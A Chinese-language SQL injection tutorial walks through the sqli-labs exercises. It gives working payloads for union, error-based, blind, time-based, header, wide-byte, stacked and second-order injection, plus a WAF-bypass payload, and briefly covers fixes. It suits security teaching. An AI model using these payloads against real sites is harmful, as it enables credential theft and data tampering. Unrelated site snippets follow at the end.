目錄
前言? ?
一、漏洞原因分析
二、漏洞危害
三、sql注入防范
四、如何挖掘sql注入漏洞
五、常見的注入手法
聯合查詢(union注入)
報錯注入
基于布爾的盲注
基于時間的盲注
HTTP頭注入
寬字節注入
堆疊查詢
二階注入
六、sql注入getshell的幾種方式
結構化查詢語言(Structured Query Language,縮寫:SQL),是一種特殊的編程語言,用于數據庫中的標準數據查詢語言。
SQL注入(SQL Injection)是一種常見的Web安全漏洞,主要形成的原因是在數據交互中,前端的數據傳入到后臺處理時,沒有做嚴格的判斷,導致其傳入的“數據”拼接到SQL語句中后,被當作SQL語句的一部分執行。 從而導致數據庫受損(被脫庫、被刪除、甚至整個服務器權限陷)。
即:注入產生的原因是后臺服務器接收相關參數未經過濾直接帶入數據庫查詢
在學習sql注入前,我們需要了解sql語句的基本語法 ——>MySQL基礎學習
我們都知道web分為前端和后端,前端負責進行展示,后端負責處理來自前端的請求并提供前端展示的資源,即然有資源,那么就需要有存儲資源的地方——如mysql數據庫。那服務器如何對數據獲取了?就需要使用SQL語句這一語法結構進行查詢獲取。SQL語句通過特有的語法對數據進行查詢
我們可以舉一個例子,以sqli-labs第一關為例,按要求在url后面加上id=1,顯示如下
當我們改變id的值為2是,頁面發生了改變。說明它將我們輸入的數據代入到了數據中進行查詢,頁面根據輸入數據的不同展示的內容也不同。
ps:url中代表傳值的意思,id代表變量,后面的"="代表變量的值
為了更清楚的看清sql語句的執行與變化過程,我們先修改源代碼,打開Less-1/index.php,在源碼中添加如下語句將執行的sql語句打印出來,方便我們查看
echo '執行的sql語句為:'.$sql; echo '<br/>'; echo '<br/>';訪問頁面如下,打印出了執行的sql語句
在1后面加上單引號, id=1’,頁面顯示有語法錯誤,說靠近 ‘1’’ limit 0,1有語法錯誤,我們輸入的數據 1’ 被完整的帶入到了SQL語句中,即直接與原有的sql語句進行了拼接。然后執行的sql語句變成了
$sql=“SELECT * FROM users WHERE id=’ 1 ’ ’ LIMIT 0,1”;
我們輸入的那個單引號和前面的單引號產生了閉合,導致原有后面的那個單引號變成了多余,而sql語法中引號是必須成對出現的否則就會報錯。
既然輸入的單引號成了多余也就證明程序沒有對我們的輸入進行過濾,那我們就構造語句將單引號進行閉合就好了。我們在1后面加上單引號,與前面的引號構成閉合,再接著在后面插入我們自己想要查詢的語句就可以查詢我們想要查詢的數據,就這樣被脫庫的風險就悄悄的發生。
SQL注入漏洞對于數據安全的影響:
解決SQL注入問題的關鍵是對所有可能來自用戶輸入的數據進行嚴格的檢查、對數據庫配置使用最小權限原則。通常修復使用的方案有:
代碼層面:
沒有進行PDO預處理的SQL,在輸入SQL語句進行執行的時候,web服務器自己拼湊SQL的時候有可能會把危險的SQL語句拼湊進去。但如果進行了PDO預處理的SQL,會讓MYSQL自己進行拼湊,就算夾帶了危險的SQL語句,也不會進行處理只會當成參數傳進去,而不是以拼接進SQL語句傳進去,從而防止了SQL注入
網絡層面:
1. 注入可能存在的地方
竟然是sql注入,那么這個地方肯定是與數據庫有數據交互的,所以我們可以優先觀察那種頁面存在傳值或者查詢的地方。比如url中的GET型傳參,如id=1
如我們看見這種就可以考慮
或者是搜索框,前端將用戶輸入的數據代入到數據庫中進行查詢,這種以POST方法進行發送數據。如下這種地方
或者是HTTP請求頭部字段如Cookie值,下面會講到。
2. 漏洞探測
此時需要我們用burp截取查詢的數據包,找到傳參的變量然后在其后面加上單引號、雙引號等如下payload進行測試
#判斷如下閉合方式是否會報錯,會報錯則肯定存在注入 =test' =test" #若不報錯則判斷是否存在布爾盲注,如果頁面會有不同的顯示在可能存在漏洞 =test" and -1=-1 or ' =test" and -1=-2 or ' =test" and -1=-1 or " =test" and -1=-2 or "ps:目前網站的sql注入基本都能通過漏洞掃描器xray檢測出來 ——> xray與burp聯動,但是這樣動靜太大(公網上),如果在內網中可以直接掛上xray進行檢測。所以在公網時可以手動檢測是否存在漏洞,然后在存在漏洞的地方打上*,接著復制整個請求包在txt文檔中用sqlmap -r進行注入 ——>sqlmap -r
補充:
get型
1. 進行url編碼
在url中進行測試payload需要先進行url編碼
不進行編碼的話,也可以用+代替空格,#代替–+ 。%23代表#,也是注釋符
post型
如果是post型的話,我們可以用上面的方法進行編碼或者+代替空格也可以不使用,直接像在瀏覽器中探測一樣
SQL 注入漏洞根據不同的標準,有不同的分類。如按照參數類型可分為兩種:數字型和字符型。
參數類型分類
1. 數字型:當輸入的參數為整形時,如果存在注入漏洞,可以認為是數字型注入。
如www.text.com/text.php?id=3對應的sql語句為 select * from table where id=3
2. 字符型:字符型注入正好相反
當輸入的參數為字符串時,稱為字符型。字符型和數字型最大的一個區別在于,數字型不需要單引號來閉合,而字符串一般需要通過單引號來閉合的。即看參數是否被引號包裹
例如數字型語句:select * from table where id =3
則字符型如下:select * from table where name=’admin’
注入手法分類
@ UNION query SQL injection(聯合查詢注入)
@ Error-based SQL injection(錯型注入)
@ Boolean-based blind SQL injection(基于布爾的盲注)
@ Time-based blind SQL injection(基于時間的盲注)
@ Stacked queries SQL injection(可多語句查詢注入)
為了練習sql注入,我們使用sqli-labs靶場進行sql注入學習,網上有很多安裝教程這里就不演示了。建議學這個之前先學習mysql語法,不然理解不了sql語句
聯合查詢適合于有顯示位的注入,即頁面某個位置會根據我們輸入的數據的變化而變化 ,
漏洞靶場實戰,傳送門 -》webug 4.0 第一關 顯錯注入
我們以sqli-labs第一關為例來學習聯合查詢。如下,要求我們傳入一個id值過去
傳參id=1
1. 頁面觀察
當我們輸入id=1和id=2時,頁面中name值和password的值是不一樣的,說明此時我們輸入的數據和數據庫有交互并且將數據顯示在屏幕上了
2. 注入點判斷
開始判斷是否存在注入,輸入id=1’,頁面發生報錯,說明后端對我前端的數據輸入沒有很好的過濾,產生了sql注入漏洞
繼續判斷
id=1’ and 1=1 --+ 頁面正常顯示 傳送門 -》關于sql注入中的 --+
id=1’ and 1=2–+ 頁面不正常顯示,說明程序對我們的輸入做出了正確的判斷,所以注入點就是單引號
3. 判斷當前表的字段個數
id=1 order by 3 --+
傳送門 -》關于order by?
id=1 order by 4–+ ,此時顯示未知的列,說明此時當前表中只有3列
4. 判斷顯示位
上面我們判斷出來了表中有3列,接下來判斷我們的輸入會在屏幕哪個地方進行回顯
id=-1’ union select 1,2,3 --+
讓union select前面的參數查不出來,所以id=-1’
如下,在name和password中回顯了我們的輸入,這時我們就隨便選一個地方來放置接下來的測試語句。
5. 爆數據庫名字
id=-1’ union select 1,database(),3 --+
6. 爆數據庫中的表
id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
其中爆出來數據庫中存在三個表
7. 爆表中的字段
我們這里選擇一個表,users進行進一步的獲取表中的字段值
id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
獲取到三個字段,分別為id,username,password
8. 爆相應字段的所有數據
id=-1’ union select 1,group_concat(id,‘–’,username,‘–’,password),3 from users --+
至此,一次完整的脫庫過程結束了,聯合查詢也就結束了。
報錯注入用在數據庫的錯誤信息會回顯在網頁中的情況,如果聯合查詢不能使用,首選報錯注入。
報錯注入利用的是數據庫的報錯信息得到數據庫的內容,這里需要構造語句讓數據庫報錯。
推薦三種報錯注入的方法,直接套用就行。以less-1為例子
1.group by 重復鍵沖
and (select 1 from (select count(*),concat((select查詢的內容from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
提交如下,獲取數據庫名字
id=1’ and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
2.extractvalue() 函數
id=1’ and extractvalue(1,concat(‘^’,(select database()),‘^’)) --+
提交id=1’ and extractvalue(1,concat(‘^’,(select database()),‘^’)) --+ 獲取數據庫名字
3.updatexml() 函數
and updatexml(1,concat(‘‘,(需要查詢的內容),’’),1)
1. 提交如下,獲取數據庫名字
id=1’ and updatexml(1,concat(‘‘,(database()),’’),1) --+
2. 獲取當前數據庫中表的名字
id=1’ and updatexml(1,concat(‘^’,(select table_name from information_schema.tables where table_schema=‘security’ ),‘^’),1) --+
這里是說要顯示的內容超過一行它不能顯示那么多,所以在table_schema=‘security’ 后加上 limit 0,1,顯示第一行(顯示第0行的往下一行,不包括第0行)
如果要看第二行則,limit1,1(第一行的往下一行,不包括第一行,即顯示第二行),看第三行則limit2,1。以這個方法獲取第四個表為users
3. 爆表中的字段
id=1’ and updatexml(1,concat(‘^’,(select column_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’ limit 0,1 ),‘^’),1) --+
總共爆出的字段為: id , username , password
4. 爆字段中的內容
id=1’ and updatexml(1,concat(‘^’,(select group_concat(username,“–”,password) from users limit 0,1 ),‘^’),1) --+
三組用戶名和密碼。
布爾盲注,即在頁面沒有錯誤回顯時完成的注入攻擊。此時我們輸入的語句讓頁面呈現出兩種狀態,相當于true和false,根據這兩種狀態可以判斷我們輸入的語句是否查詢成功。以less-8關為例
1. 我們輸入正確的id,顯示You are in …
我們輸入錯誤的語句如id=1’ ,或者id=-1時,就什么都不顯示。這就是布爾盲注,屏幕上能得到信息不多,就是兩種狀態
源碼如下
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1 "; $result=mysql_query($sql); $row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">'; echo 'You are in...........';echo "<br>";echo "</font>";}else {echo '<font size="5" color="#FFFF00">';}所以,我們構造判斷語句,根據頁面是否回顯證實猜想。一般用到的函數ascii() 、substr() 、length(),exists()、concat()等。
1. 判斷數據庫類型
用下的語句判斷數據庫。哪個頁面正常顯示,就屬于哪個數據庫
//判斷是否是 Mysql數據庫 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) --+ //判斷是否是 access數據庫 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) --+ //判斷是否是 Sqlserver數據庫 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) --+所以當前數據庫為mysql數據庫
2. 判斷當前數據庫名
1:判斷當前數據庫的長度,利用二分法 http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+ //正常顯示 http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+ //不顯示任何數據 http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 --+ //正常顯示 http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 --+ //不顯示任何數據大于7正常顯示,大于8不顯示,說明大于7而不大于8,所以可知當前數據庫長度為8個字符2:判斷當前數據庫的字符,和上面的方法一樣,利用二分法依次判斷 //判斷數據庫的第一個字符 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ //100為ascii表中的十進制,對應字母s //判斷數據庫的第二個字符 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+ //判斷數據庫的第三個字符 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),3,1))>100 --+ ........... 由此可以判斷出當前數據庫為 security3. 判斷當前庫的表名
//猜測當前數據庫中是否存在admin表 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+1:判斷當前數據庫中表的個數 // 判斷當前數據庫中的表的個數是否大于5,用二分法依次判斷,最后得知當前數據庫表的個數為4 http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+2:判斷每個表的長度 //判斷第一個表的長度,用二分法依次判斷,最后可知當前數據庫中第一個表的長度為6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+ //判斷第二個表的長度,用二分法依次判斷,最后可知當前數據庫中第二個表的長度為6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+3:判斷每個表的每個字符的ascii值 //判斷第一個表的第一個字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+ //判斷第一個表的第二個字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+ ......... 由此可判斷出存在表 emails、referers、uagents、users ,猜測users表中最有可能存在賬戶和密碼,所以以下判斷字段和數據在 users 表中判斷4. 判斷表的字段
判斷字段個數
判斷每個字段的長度
猜每個字段的字符
//如果已經證實了存在admin表,那么猜測是否存在username字段
http://127.0.0.1/sqli/Less-5/?id=1’ and exists(select username from admin)
1:判斷表中字段的個數
//判斷users表中字段個數是否大于5
http://127.0.0.1/sqli/Less-5/?id=1’ and (select count(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’)>5 --+
2:判斷每個字段的長度
//判斷第一個字段的長度
http://127.0.0.1/sqli/Less-5/?id=1’ and length((select column_name from information_schema.columns where table_name=‘users’ limit 0,1))>5 --+
//判斷第二個字段的長度
http://127.0.0.1/sqli/Less-5/?id=1’ and length((select column_name from information_schema.columns where table_name=‘users’ limit 1,1))>5 --+
3:判斷每個字段名字的ascii值
//判斷第一個字段的第一個字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1))>100 --+
//判斷第一個字段的第二個字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),2,1))>100 --+
…
由此可判斷出users表中存在 id、username、password 字段
5. 爆字段中的數據
猜字段中數據的長度
猜字段數據的每個字符ascii碼 得字符
我們知道了users中有三個字段 id 、username 、password,我們現在爆出每個字段的數據
1: 判斷數據的長度
// 判斷id字段的第一個數據的長度
http://127.0.0.1/sqli/Less-5/?id=1’ and length((select id from users limit 0,1))>5 --+
// 判斷id字段的第二個數據的長度
http://127.0.0.1/sqli/Less-5/?id=1’ and length((select id from users limit 1,1))>5 --+
2:判斷數據的ascii值
// 判斷id字段的第一行數據的第一個字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select id from users limit 0,1),1,1))>100 --+
// 判斷id字段的第二行數據的第二個字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select id from users limit 0,1),2,1))>100 --+
…
一般布爾盲注,手工去注入過于繁瑣,不建議手工注入,可以借助于工具。
也叫延時注入。通過觀察頁面,既沒有回顯數據庫內容,又沒有報錯信息也沒有布爾類型狀態,那么我們可以考慮用“絕招”–延時注入。延時注入就是將頁面的時間線作為判斷依據,一點一點注入出數據庫的信息。我們以第9關為例,在id=1后面加單引號或者雙引號,頁面不會發生任何改變,所以我們考慮絕招延時注入。
1. 延時注入
?id=1' and sleep(5) --+如圖所示,觀察請求的時間線,大概在5秒以上,說明構造的sleep(5)語句起作用,可以把這個時間線作為sql注入的判斷依據。
2. 獲取數據庫名字
延時注入與布爾盲注類似,構造方法如下,提交參數
?id=1' and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+if(expr1,expr2,expr3) 如果expr1的值為true,則返回expr2的值,如果expr1的值為false,則返回expr3的值。傳送門-》mysql基礎學習
代碼的含義就是如果數據庫名字的第一個字符的acsii值為115,則進行延時,否則返回0即什么都不返回。
頁面顯示延時5 秒,說明數據庫名字第一個字母的ASCII 值是115,也就是字母s。
3.數據庫名字第二個字母的判斷,
?id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+與盲注類似,后面就是猜數,這就是延時注入
可以繞waf的payload
and(select*from(select+sleep(4))a/**/union/**/select+1)='常見的sql注入一般是通過請求參數或者表單進行注入,而HTTP頭部注入是通過HTTP協議頭部字段值進行注入。http頭注入常存在于以下地方
產生注入的條件:
- 能夠對請求頭消息進行修改
- 修改的請求頭信息能夠帶入數據庫進行查詢
- 數據庫沒有對輸入的請求信息做過濾
1.User-Agent注入
User-Agent:使得服務器能夠識別客戶使用的操作系統,瀏覽器版本等。(很多數據量大的網站中會記錄客戶使用的操作系統或瀏覽器版本等然后將其存入數據庫中)。這里獲取User-Agent就可以知道客戶都是通過什么瀏覽器訪問系統的,然后將其值保存到數據庫中。
以sqli-labs less-18關為例,登錄用戶密碼:dumb ,0
1.1 判斷注入點:user-agent值后面加上’,引發報錯,確定存在sql注入
1.2采用報錯注入函數獲取當前數據庫名
' and updatexml(1,concat('^',(database()),'^'),1) and '2. cookie注入
cookie:服務器端用來記錄客戶端的狀態。由服務端產生,保存在瀏覽器中。傳送門-》cookie。以sqli-labs less-20關為例,登錄后
2.1首先判斷注入點,加 ’ 單引號報錯
2.2采用報錯注入函數獲取當前數據庫名
' and updatexml(1,concat('^',(database()),'^'),1) and '3.Referer注入
**Referer:**是HTTP header的一部分,當瀏覽器向web服務器發送請求的時候,一般會帶上Referer,告訴服務器該網頁是從哪個頁面鏈接過來的,服務器因此可以獲得一些信息用于處理。
以19關為例
1. 判斷輸入點,加單引號引發報錯
2. 使用報錯注入函數:
‘ and updatexml(1,concat(0x7e,(database()),0x7e),0) and '方法都是一樣的。
4.X-Forwarded-For 注入
**X-Forwarded-For(XFF):**用來識別客戶端最原始的ip地址。詳見,傳送門 -》X-Forwarded-For sql注入
寬字節案例引入
寬字節注入準確來說不是注入手法,而是另外一種比較特殊的情況。為了說明寬字節注入問題,我們以SQLi-labs 32 關為例子。 使用id=1’ 進行測試的時候,發現提交的單引號會被轉義[']。此時,轉義后的單引號會被作為普通字符帶入數據庫查詢。也就是說,我們提交的單引號不會影響到原來SQL 語句的結構。
接著我們查看這關的源碼,發現傳入的id經過addslashes轉移函數的處理,所有的單引號雙引號字符都會被添加轉義字符。接著在帶入到數據庫查詢前設置了mysql_query(“SET NAMES gbk”),即設定字符集為gbk。漏洞就是由于這個設置導致寬字節注入。
仔細看該函數,其利用正則匹配將 [/,'," ]這些三個符號都過濾掉了
關于preg_replace的正則用法可詳看——>命令執行與代碼執行漏洞中搜索preg_replace
而我們要繞過這個轉義處理,使單引號發揮作用不再被轉義,有兩個思路:
第一個思路就是借鑒程序員的防范思路,對斜杠()轉義,使其失去轉義單引號的作用,成為普通的內容。第二個思路就是寬字節注入。
關于編碼
在理解寬字節注入之前,我們需要先了解編碼的有關知識,關于什么是編碼,為什么要編碼,可以詳看 ——>計算機中的編碼問題
寬字節注入
寬字節是指多個字節寬度的編碼,GB2312、GBK、GB18030、BIG5、Shift_JIS等這些都是常說的寬字節,實際上只有兩字節。轉義函數在對這些編碼進行轉義時會將轉義字符 ‘’ 轉為 %5c ,于是我們在他前面輸入一個單字符編碼與它組成一個新的多字符編碼,使得原本的轉義字符沒有發生作用。
由于在數據庫查詢前使用了GBK多字節編碼,即在漢字編碼范圍內使用兩個字節會被編碼為一個漢字(前一個ascii碼要大于128,才到漢字的范圍)。然后mysql服務器會對查詢語句進行GBK編碼,即下面所說的
我們在前面加上 %df’ ,轉義函數會將%df’改成%df’ , 而 就是%5c ,即最后變成了%df%5c’,而%df%5c在GBK中這兩個字節對應著一個漢字 “運” ,就是說 已經失去了作用,%df ’ ,被認為運’ ,成功消除了轉義函數的影響。
我們輸入 id=1%df’,按道理來說將轉義符吃掉了,結果應該是 id=‘運’ ’ ,為什么這里轉變成了中文后后面還有一個反斜杠了?那個反斜杠是哪里來的?
其實這個是瀏覽器顯示編碼的問題,我們將瀏覽器編碼切換為GB2312即簡體中文,如下就正常了。
聯合注入如下
GB2312與GBK的不同
gb2312和gbk應該都是寬字節家族的一員。但我們來做個小實驗。把源碼中set names修改成gb2312
結果就不能注入了,我開始不信,然后再把數據庫編碼也改成gb2312,也是不成功的。雖然執行的語句還是顯示被轉換成了中文了,但就是注入不成功
為什么,這歸結于gb2312編碼的取值范圍。它的高位范圍是0xA10xF7,低位范圍是0xA10xFE,而是0x5c,是不在低位范圍中的。所以,0x5c根本不是gb2312中的編碼,所以自然也是不會被吃掉的。
所以,把這個思路擴展到世界上所有多字節編碼,我們可以這樣認為:只要低位的范圍中含有0x5c的編碼,就可以進行寬字符注入。
寬字節注入注入方法
1. 黑盒
就是上面所述的,在注入點后面加%df,然后按照正常的注入流程開始注入即可。如果我們需要使用sqlmap進行檢測注入的話也需要在注入點后面加%df然后再用sqlmap跑,否則是注入不出來的,如
sqlmap.py -u "http://localhost/sqli-labs-master/Less-32/?id=1%df%27"2. 白盒
查看mysql是否為GBK編碼,且是否使用preg_replace()把單引號轉換成’或自帶函數addslashes()進行轉義
如果存在上面說的,則存在寬字節注入。
寬字節注入修復
1.mysql_real_escape_string
聽說這個函數能抵御寬字節注入攻擊。mysql_real_escape_string—轉義 SQL 語句中使用的字符串中的特殊字符,并考慮到連接的當前字符集。mysql_real_escape_string與addslashes的不同之處在于其會考慮當前設置的字符集。
于是,把addslashes替換成mysql_real_escape_string,來抵御寬字符注入。但是我們發現還是一樣注入成功了
為什么,明明我用了mysql_real_escape_string,但卻仍然不能抵御寬字符注入?
原因就是,你沒有指定php連接mysql的字符集。我們需要在執行sql語句之前調用一下mysql_set_charset函數,設置當前連接的字符集為gbk。
mysqli_set_charset(connection,charset);
參數
描述
connection
必需。規定要使用的 MySQL 連接。
charset
必需。規定默認字符集。
這樣就防止了注入
即先調用mysql_set_charset函數設置連接所使用的字符集為gbk,再調用mysql_real_escape_string來過濾用戶輸入。
2.設置參數,character_set_client=binary
3.使用utf-8編碼
堆疊查詢也叫堆疊注入,在SQL中,分號(;)是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句后繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合并在一起,兩者之間有什么區別么?區別就在于union 或者union all執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。以sqli-labs第38關為例
執行
id=1';update users set password='123456' where id=1; --+?意思就是再更新id=1的用戶密碼為123456。如下成功執行了更新密碼的語句
堆疊查詢的局限性
堆疊注入的局限性在于并不是每一個環境下都可以執行,可能受到API或者數據庫引擎不支持的限制,當然了權限不足也可以解釋為什么攻擊者無法修改數據或者調用一些程序。雖然我們前面提到了堆疊查詢可以執行任意的sql語句,但是這種注入方式并不是十分的完美的。在我們的web系統中,因為代碼通常只返回一個查詢結果,因此,堆疊注入第二個語句產生錯誤或者結果只能被忽略,我們在前端界面是無法看到返回結果的。如上面的實例如果我們不輸出密碼那我們是看不到這個結果的。因此,在讀取數據時,我們建議使用union(聯合)注入。同時在使用堆疊注入之前,我們也是需要知道一些數據庫相關信息的,例如表名,列名等信息
二次注入漏洞是一種在Web應用程序中廣泛存在的安全漏洞形式。相對于一次注入漏洞而言,二次注入漏洞更難以被發現,但是它卻具有與—次注入攻擊漏洞相同的攻擊威力。
總結,二次注入就是由于將數據存儲進數據庫中時未做好過濾,先提交構造好的特殊字符請求存儲進數據庫,然后提交第二次請求時與第一次提交進數據庫中的字符發生了作用,形成了一條新的sql語句導致被執行。以sqli-labs第24關為例
sqli-labs less-24
1. 如下點擊注冊用戶
這里注冊用戶名為 admin’#
此時我們查看數據庫,注冊的用戶已經存儲進去了,并且admin的密碼是DDD
2. 對注冊的賬號進行登錄然后修改密碼為ccccc
此時提示密碼已經成功修改了
此時我們發現反倒是admin的密碼被修改成了ccccc,而我們注冊的用戶admin’#的密碼并沒有被修改
漏洞原因
1. 在進行用戶注冊的允許存在’和#這種特殊字符
2. 在修改密碼頁面的源碼中,發現這里很明顯存在注入漏洞
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";當我們登錄賬號admin’#并修改密碼時,這條sql語句就變成了如下這個樣子,#把后面的代碼都注釋掉了,所以修改了用戶admin的密碼為ccccc
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";傳送門 -》sql注入getshell的幾種方式
本文由 貴州做網站公司 整理發布,部分圖文來源于互聯網,如有侵權,請聯系我們刪除,謝謝!
網絡推廣與網站優化公司(網絡優化與推廣專家)作為數字營銷領域的核心服務提供方,其價值在于通過技術手段與策略規劃幫助企業提升線上曝光度、用戶轉化率及品牌影響力。這...
在當今數字化時代,公司網站已成為企業展示形象、傳遞信息和開展業務的重要平臺。然而,對于許多公司來說,網站建設的價格是一個關鍵考量因素。本文將圍繞“公司網站建設價...
在當今的數字化時代,企業網站已成為企業展示形象、吸引客戶和開展業務的重要平臺。然而,對于許多中小企業來說,高昂的網站建設費用可能會成為其發展的瓶頸。幸運的是,隨...
縱觀LOL歷屆S系列賽,哪一屆奪冠的含金量最高?哪一屆又最低?S1來自歐洲的FNC。當時隊伍不多。S2來自臺灣的TPA,在勝利面前擊敗熱火,急于奪冠。來自韓國的S3 SKT,faker的首次亮相是巔峰。魔王用他可怕的行動殺戮并將刀子壓在繩子上完成了統治之路?;始襆PL獲得第二名。來自韓國SSW的S4,前四名擊潰兄弟隊SSB,奪冠勢不可擋。LPL王室再次失利,獲得第二名。三星解散后,三星世子進入LP...
沈陽農業大學招生章程與注意事項?楊農業大學2020年全日制普通本科招生簡章一、學校全稱沈陽農業大學二、學校地址遼寧省沈陽市沈河區東陵路120號第三,學校的類型公立高等教育機構四。辦學水平本科課程動詞(verb的縮寫)辦學形式全部時間的不及物動詞辦學的主要條件校園占地面積197.2萬平方米(約2957.4畝);平均教學行政用房面積17.2平方米;平均宿舍面積8.6平方米;生師比16.3;專任教師12...
如何把音樂導入ipad?有兩個電腦端的iTunes或則網絡同步助手都是可以的。如果不是是iTunes的話,用USB連接好iPad,然后可以打開iTunes,選項卡“愿意iTunes管理你的資料庫”。之后再點擊同步去掉!如果不是都覺得麻煩的話,也可以用歌詞同步助手,直接連接上、導入、再等待同步就可以了。蘋果電腦如何導入音樂到ipad?步驟:電腦安裝iTunes,把歌曲直接添加到iTunes資料庫。用...